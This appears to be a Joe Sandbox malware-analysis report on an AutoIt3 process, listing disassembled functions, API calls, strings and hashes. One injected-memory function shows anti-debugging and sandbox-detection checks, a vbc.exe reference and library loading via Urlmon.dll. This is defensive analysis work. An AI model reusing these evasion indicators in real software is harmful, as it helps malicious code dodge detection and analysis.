Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 5da8533267f963b3fac5f077aff7f5e954d613ac6d5714286b4a0d4ee06d41de
Instruction ID: fa772c648e272f284d02fd183a9782e22f139d5d8300639132876caf4a85147e
Opcode Fuzzy Hash: 5da8533267f963b3fac5f077aff7f5e954d613ac6d5714286b4a0d4ee06d41de
Instruction Fuzzy Hash: DCA158B4519A0CBEEF38AB6D8C4DF7B2AAEFB41315F14811EF406C5199CB24DC819276

Function 0084B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00853740: CharUpperBuffW.USER32(?,009071DC,00000000,?,00000000,009071DC,?,008453A5,?,?,?,?), ref: 0085375D

_memmove.LIBCMT ref: 0084B68A

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 808cea64815d841f2cf4673243881f226e5ab18656ec3fcc551fe588ce536bdd
Instruction ID: 577a9cb9a81ab4453e5f0c39a6c3ad6adf4b4dbfa84f9c4db740157b1b3048d6
Opcode Fuzzy Hash: 808cea64815d841f2cf4673243881f226e5ab18656ec3fcc551fe588ce536bdd
Instruction Fuzzy Hash: 02A257746087499FD720DF18C480B2ABBE1FF88714F14896DE89ACB352D771E945CB92

Function 00855F8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00855FEF

Part of subcall function 0086359C: __lock.LIBCMT ref: 008635A2
Part of subcall function 0086359C: DecodePointer.KERNEL32(00000001,?,00856004,00898892), ref: 008635AE
Part of subcall function 0086359C: EncodePointer.KERNEL32(?,?,00856004,00898892), ref: 008635B9

Part of subcall function 00855F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00855F18
Part of subcall function 00855F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00855F2D

Part of subcall function 00855240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0085526C
Part of subcall function 00855240: IsDebuggerPresent.KERNEL32 ref: 0085527E
Part of subcall function 00855240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 008552E6
Part of subcall function 00855240: SetCurrentDirectoryW.KERNEL32(?), ref: 00855366

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0085602F

Strings

0k, xrefs: 00855F91

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID: 0k
API String ID: 1438897964-4279752002
Opcode ID: d92490446a757a867792f757a5cfab8db06128b43643882d608714837a66e782
Instruction ID: 55e1b3623138eda69da0e444f0c82cb2765a1e50c9aeae46b85c6d94a3cf8e5f
Opcode Fuzzy Hash: d92490446a757a867792f757a5cfab8db06128b43643882d608714837a66e782
Instruction Fuzzy Hash: 0B1158719183059FC710EFA8E845A0ABBE8FB98350F40451AF494972B1DB70A588DB92

Function 0084BC70 Relevance: 50.4, APIs: 22, Strings: 6, Instructions: 1379sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0084BF57

Part of subcall function 008452B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008452E6

Sleep.KERNEL32(0000000A,?,?), ref: 008836B5

Strings

@TRAY_ID, xrefs: 00883FCD
@GUI_CTRLID, xrefs: 0088376C
@COM_EVENTOBJ, xrefs: 00883D2E
@GUI_CTRLHANDLE, xrefs: 00883816
CALL, xrefs: 0084C277
@GUI_WINHANDLE, xrefs: 008837C1

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessagePeekSleepTimetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$CALL
API String ID: 1792118007-922114024
Opcode ID: 59451b5a71c21a940a606877dad82d8291e195bdb59963bc75dde989cf0ee45a
Instruction ID: f4fc9cd09bc9647a69cd7a306a92e1c2014ee6b399d06d73988d93c99eeb6c79
Opcode Fuzzy Hash: 59451b5a71c21a940a606877dad82d8291e195bdb59963bc75dde989cf0ee45a
Instruction Fuzzy Hash: EFC29D706087459FDB28EF28C884BAAB7E5FF84704F14491DE48AD72A1DB71E944CB93

Function 03BBE17C Relevance: 49.4, APIs: 6, Strings: 22, Instructions: 410
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 03BBE1A4
GetThreadDesktop.USER32(00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03BBE1AA
IsDebuggerPresent.KERNEL32(00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03BBE1F9
Sleep.KERNEL32(000007D0,00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03BBE370
GetCurrentThreadId.KERNEL32 ref: 03BBE692
Sleep.KERNEL32(00000064,00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03BBE377

Part of subcall function 03B92E78: DeleteFileA.KERNEL32(00000000,00000000,03B92ECC,?,00000001,?,?,03B8F2B2,00000000,03B8F309,?,00000000,00000000,00000000,00000000,00000000), ref: 03B92EAB

Part of subcall function 03B94B28: Sleep.KERNEL32(00000002,00000000,03B94B99,?,00000001), ref: 03B94B79

Strings

abby, xrefs: 03BBE4C7
autoit3.exe, xrefs: 03BBE725
DLL, xrefs: 03BBE44C
uu.txt, xrefs: 03BBE575, 03BBE6D1, 03BBE6FF
c:\temp\test_ok, xrefs: 03BBE215
test.txt, xrefs: 03BBE771
c:\debugg, xrefs: 03BBE2A9
u.txt, xrefs: 03BBE4FD, 03BBE547
AHK, xrefs: 03BBE3EA
mutex1, xrefs: 03BBE3A6
mutex0, xrefs: 03BBE384
c.txt, xrefs: 03BBE34F
c:\temp\just_test.txt, xrefs: 03BBE202
c:\tes2\, xrefs: 03BBE786, 03BBE794, 03BBE79E
AU3, xrefs: 03BBE41B
script.a3x, xrefs: 03BBE74B
xdebug 0 , xrefs: 03BBE2C2
Yes, xrefs: 03BBE482, 03BBE498, 03BBE4E2, 03BBE6B0
7.0.6, xrefs: 03BBE1BC
cc.txt, xrefs: 03BBE2E6, 03BBE314
vbc.exe, xrefs: 03BBE515
test, xrefs: 03BBE210

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: SleepThread$Current$DebuggerDeleteDesktopFilePresent
String ID: 7.0.6$AHK$AU3$DLL$Yes$abby$autoit3.exe$c.txt$c:\debugg$c:\temp\just_test.txt$c:\temp\test_ok$c:\tes2\$cc.txt$mutex0$mutex1$script.a3x$test$test.txt$u.txt$uu.txt$vbc.exe$xdebug 0
API String ID: 416788666-834689721
Opcode ID: a1e50b28628f334c78f0a5e09fa98112430afaa704c455aa02cb34b15d106c2f
Instruction ID: e2661e4b0ccea45aebb69e90a9ee9a8b5c4b11c74e136c09cba9741adc5fd042
Opcode Fuzzy Hash: a1e50b28628f334c78f0a5e09fa98112430afaa704c455aa02cb34b15d106c2f
Instruction Fuzzy Hash: 02F1F738A002498FEB20FBA9E980AED73B5EF4920CF5044F1D544AF665DBB4ED45CB61

Function 00842BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00842C8C
GetSystemMetrics.USER32(00000007), ref: 00842C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00842CBF
GetSystemMetrics.USER32(00000008), ref: 00842CC7
GetSystemMetrics.USER32(00000004), ref: 00842CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00842D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00842D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00842D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00842D60
GetClientRect.USER32(00000000,000000FF), ref: 00842D7E
GetStockObject.GDI32(00000011), ref: 00842D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00842DA5

Part of subcall function 00842714: GetCursorPos.USER32(?), ref: 00842727
Part of subcall function 00842714: ScreenToClient.USER32(009077B0,?), ref: 00842744
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000001), ref: 00842769
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000002), ref: 00842777

SetTimer.USER32(00000000,00000000,00000028,008413C7), ref: 00842DCC

Strings

AutoIt v3 GUI, xrefs: 00842D44

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 394254593dd64a6d05a183bfe1a8728fc421ccd123cdd43c7ae735bb6230654a
Instruction ID: 91f5113d5f54d3035c915934adfef05fdc227e71c6218a508c9707ad7dd06e99
Opcode Fuzzy Hash: 394254593dd64a6d05a183bfe1a8728fc421ccd123cdd43c7ae735bb6230654a
Instruction Fuzzy Hash: 1AB15E71A0420A9FDB14DFA8DC99BAE7BB4FB08314F108229FA15E7290DB74E850DF55

Function 0085514C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00855156
LoadCursorW.USER32(00000000,00007F00), ref: 00855165
LoadIconW.USER32(00000063), ref: 0085517C
LoadIconW.USER32(000000A4), ref: 0085518E
LoadIconW.USER32(000000A2), ref: 008551A0
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008551C6
RegisterClassExW.USER32(?), ref: 0085521C

Part of subcall function 00843411: GetSysColorBrush.USER32(0000000F), ref: 00843444
Part of subcall function 00843411: RegisterClassExW.USER32(00000030), ref: 0084346E
Part of subcall function 00843411: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0084347F
Part of subcall function 00843411: InitCommonControlsEx.COMCTL32(?), ref: 0084349C
Part of subcall function 00843411: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008434AC
Part of subcall function 00843411: LoadIconW.USER32(000000A9), ref: 008434C2
Part of subcall function 00843411: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008434D1

Strings

#, xrefs: 00855201
0k, xrefs: 008551A7
0, xrefs: 008551FA
AutoIt v3, xrefs: 0085520B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$0k$AutoIt v3
API String ID: 423443420-573216313
Opcode ID: 11db22cb35d3f12abe17755952dc9bfe066d40a3b201c4c9d3b4cc2f534bfe61
Instruction ID: f39e8fec7e2c476f5e39876888382d19d31a99b23888b7a2d5d956291fff9ecc
Opcode Fuzzy Hash: 11db22cb35d3f12abe17755952dc9bfe066d40a3b201c4c9d3b4cc2f534bfe61
Instruction Fuzzy Hash: FD214F70D59308AFDB109FE8ED19B9DBFB4FB08321F00411AF514A62A0D7B66554EF94

Function 008433E8 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00843444
RegisterClassExW.USER32(00000030), ref: 0084346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0084347F
InitCommonControlsEx.COMCTL32(?), ref: 0084349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008434AC
LoadIconW.USER32(000000A9), ref: 008434C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008434D1

Strings

AutoIt v3 GUI, xrefs: 00843460
TaskbarCreated, xrefs: 00843474
0, xrefs: 00843426
+, xrefs: 0084342D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 1b39d1579e43f849da489b460acfe421927bf6420fc91646d3faebff6bb3c4f8
Instruction ID: 78fc6f9738828e365fdcb22abc2a320f3ef735e272c69fd9cc5565aa45c3a0fd
Opcode Fuzzy Hash: 1b39d1579e43f849da489b460acfe421927bf6420fc91646d3faebff6bb3c4f8
Instruction Fuzzy Hash: 9F31F6B1D59309AFDB409FA4D888BDDBBF4FB08320F10821AE990E62A0D7B55551DF91

Function 00843411 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00843444
RegisterClassExW.USER32(00000030), ref: 0084346E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0084347F
InitCommonControlsEx.COMCTL32(?), ref: 0084349C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008434AC
LoadIconW.USER32(000000A9), ref: 008434C2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008434D1

Strings

AutoIt v3 GUI, xrefs: 00843460
TaskbarCreated, xrefs: 00843474
0, xrefs: 00843426
+, xrefs: 0084342D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 9c3650336d292b0e7c3f90d2e5276f02580689ad9c896bbedc03d76c70cf02bc
Instruction ID: 75c4990b2424b9a9dc8d6114fe53e9df400fe0e068f78655d006d502b6d8640e
Opcode Fuzzy Hash: 9c3650336d292b0e7c3f90d2e5276f02580689ad9c896bbedc03d76c70cf02bc
Instruction Fuzzy Hash: 2921E4B1D59318AFDB409FE4EC88B9DBBF4FB08710F00821AFA10A62A0D7B15544DFA1

Function 00F1BDCD Relevance: 18.2, APIs: 9, Strings: 3, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharNextA.USER32(00000000), ref: 00F1BE22
CharNextA.USER32(00000000,00000000), ref: 00F1BE2E
CharNextA.USER32(00000000,00000000), ref: 00F1BE56
CharNextA.USER32(00000000), ref: 00F1BE62
CharNextA.USER32(?,00000000), ref: 00F1BEA3
CharNextA.USER32(00000000,?,00000000), ref: 00F1BEAF
CharNextA.USER32(00000000,?,00000000), ref: 00F1BEE7
CharNextA.USER32(?,00000000), ref: 00F1BEF3

Strings

", xrefs: 00F1BE47
", xrefs: 00F1BED8
, xrefs: 00F1BDF5

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: CharNext
String ID: $"$"
API String ID: 3213498283-938660540
Opcode ID: 2c1470450a8ac8ed7c5279c48aa1ab2b42540d99ab1694ed2cae7dec926c52fd
Instruction ID: 210bd3f1007d2a0889879e705488d6a2b948c4c4640d302c318d22b6f24d4a2f
Opcode Fuzzy Hash: 2c1470450a8ac8ed7c5279c48aa1ab2b42540d99ab1694ed2cae7dec926c52fd
Instruction Fuzzy Hash: E6511370A09282EFD321DF68C884AA5BBE1EF59350F240C48E5C4CB312D774AC80EFA1

Function 00852FC5 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008600CF: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00853094), ref: 008600ED

Part of subcall function 008608C1: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,0085309F), ref: 008608E3

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 008530E2
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 008901BA
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 008901FB
RegCloseKey.ADVAPI32(?), ref: 00890239
_wcscat.LIBCMT ref: 00890292

Strings

Include, xrefs: 008901B1, 008901F2
\, xrefs: 008902B5
Software\AutoIt v3\AutoIt, xrefs: 008530D8
\Include\, xrefs: 0085309F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: 0b436d18808dcc4aa15327d1ecba02b9875f8d44a1b0c2312c1ed2d263efd265
Instruction ID: 5ce62e7dcad8f33d230a2569cc216e2778decaf9ea18af95485c63d081bf62d2
Opcode Fuzzy Hash: 0b436d18808dcc4aa15327d1ecba02b9875f8d44a1b0c2312c1ed2d263efd265
Instruction Fuzzy Hash: 6E716C716197019EC714EF6DE84596BBBE8FF54380F40092EF8A5C32A1EF309948DB56

Function 00854D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00854E22
KillTimer.USER32(?,00000001), ref: 00854E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00854E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00854E7A
CreatePopupMenu.USER32 ref: 00854E8E
PostQuitMessage.USER32(00000000), ref: 00854EAF

Strings

TaskbarCreated, xrefs: 00854E75

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 8e2f4388b5a1371eab94838f4ae50cdf51858874ffb845e8f63a4c405d94e87b
Instruction ID: 86142ca717a0ba44005c9e5a75733bf3b35e089d97af7b65d902aa8bba0be12a
Opcode Fuzzy Hash: 8e2f4388b5a1371eab94838f4ae50cdf51858874ffb845e8f63a4c405d94e87b
Instruction Fuzzy Hash: 80412931618209AFDF616F68AC4FB7A7795F74033AF041215FD02D51E1CB61BC98AB62

Function 03B929D4 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 29
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03BBE1EC,00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03B929DF
LoadLibraryA.KERNEL32(Urlmon.dll,?,03BBE1EC,00000000,00000000,03BBE7E6,?,00000014,00000000,00000000), ref: 03B92A0B

Strings

ntdll.dll, xrefs: 03B92A36
kernel32.dll, xrefs: 03B929DA
Advapi32.dll, xrefs: 03B92A1E
user32.dll, xrefs: 03B92A12
Urlmon.dll, xrefs: 03B92A06
Shell32.dll, xrefs: 03B92A2A
LoadLibraryA, xrefs: 03B929F3

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: Advapi32.dll$LoadLibraryA$Shell32.dll$Urlmon.dll$kernel32.dll$ntdll.dll$user32.dll
API String ID: 4133054770-1140356178
Opcode ID: ed455b8891b3d211379275ea6a85b40567e147d383f03e16028ad401daf91f97
Instruction ID: 85f0c3530d7c84883e0a1e3a22dd89c9908039cca33fbfc6051fb1130c835495
Opcode Fuzzy Hash: ed455b8891b3d211379275ea6a85b40567e147d383f03e16028ad401daf91f97
Instruction Fuzzy Hash: 58F0A97AE5431AEFEF34EFA0D6996293AA4FA0D60D30008B6E511AF729D7B00405CF16

Function 008550DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00855109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0085512A
ShowWindow.USER32(00000000), ref: 0085513E
ShowWindow.USER32(00000000), ref: 00855147

Strings

edit, xrefs: 00855124
AutoIt v3, xrefs: 00855101, 00855106, 00855107

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 9b26e1a5944b34018bbaec9d3b1de190cb8858bbd7bb48133c4840bf6b18619f
Instruction ID: 841a82cf9311d6d33889ae8936b897764e997b9121206b3559b25ba7500d2d45
Opcode Fuzzy Hash: 9b26e1a5944b34018bbaec9d3b1de190cb8858bbd7bb48133c4840bf6b18619f
Instruction Fuzzy Hash: EEF0DA719592947FEA3117AB6C4CF276F7DE7C6F60F01011AB910A62B0C6652891EEB0

Function 008A9B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00854A8C: _fseek.LIBCMT ref: 00854AA4

Part of subcall function 008A9CF1: _wcscmp.LIBCMT ref: 008A9DE1
Part of subcall function 008A9CF1: _wcscmp.LIBCMT ref: 008A9DF4

_free.LIBCMT ref: 008A9C5F
_free.LIBCMT ref: 008A9C66
_free.LIBCMT ref: 008A9CD1

Part of subcall function 00862F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00869C54,00000000,00868D5D,008659C3), ref: 00862F99
Part of subcall function 00862F85: GetLastError.KERNEL32(00000000,?,00869C54,00000000,00868D5D,008659C3), ref: 00862FAB

_free.LIBCMT ref: 008A9CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 008A9B8F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
